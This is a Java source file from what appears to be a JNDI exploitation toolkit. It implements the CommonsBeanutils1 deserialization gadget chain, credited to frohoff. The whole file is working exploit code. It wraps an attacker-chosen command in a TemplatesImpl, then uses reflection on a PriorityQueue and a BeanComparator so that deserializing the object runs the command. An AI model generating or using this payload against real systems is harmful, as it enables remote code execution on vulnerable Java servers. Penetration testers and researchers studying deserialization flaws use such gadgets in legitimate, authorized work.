package com.qi4l.jndi.gadgets; import com.qi4l.jndi.gadgets.annotation.Authors; import com.qi4l.jndi.gadgets.annotation.Dependencies; import com.qi4l.jndi.gadgets.utils.Gadgets; import com.qi4l.jndi.gadgets.utils.Reflections; import org.apache.commons.beanutils.BeanComparator; import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) @Authors({Authors.FROHOFF}) public class CommonsBeanutils1 implements ObjectPayload { public Object getObject(String command) throws Exception { final Object template; template = Gadgets.createTemplatesImpl(command); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); Reflections.setFieldValue(comparator, "property", "outputProperties"); Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); return queue; } }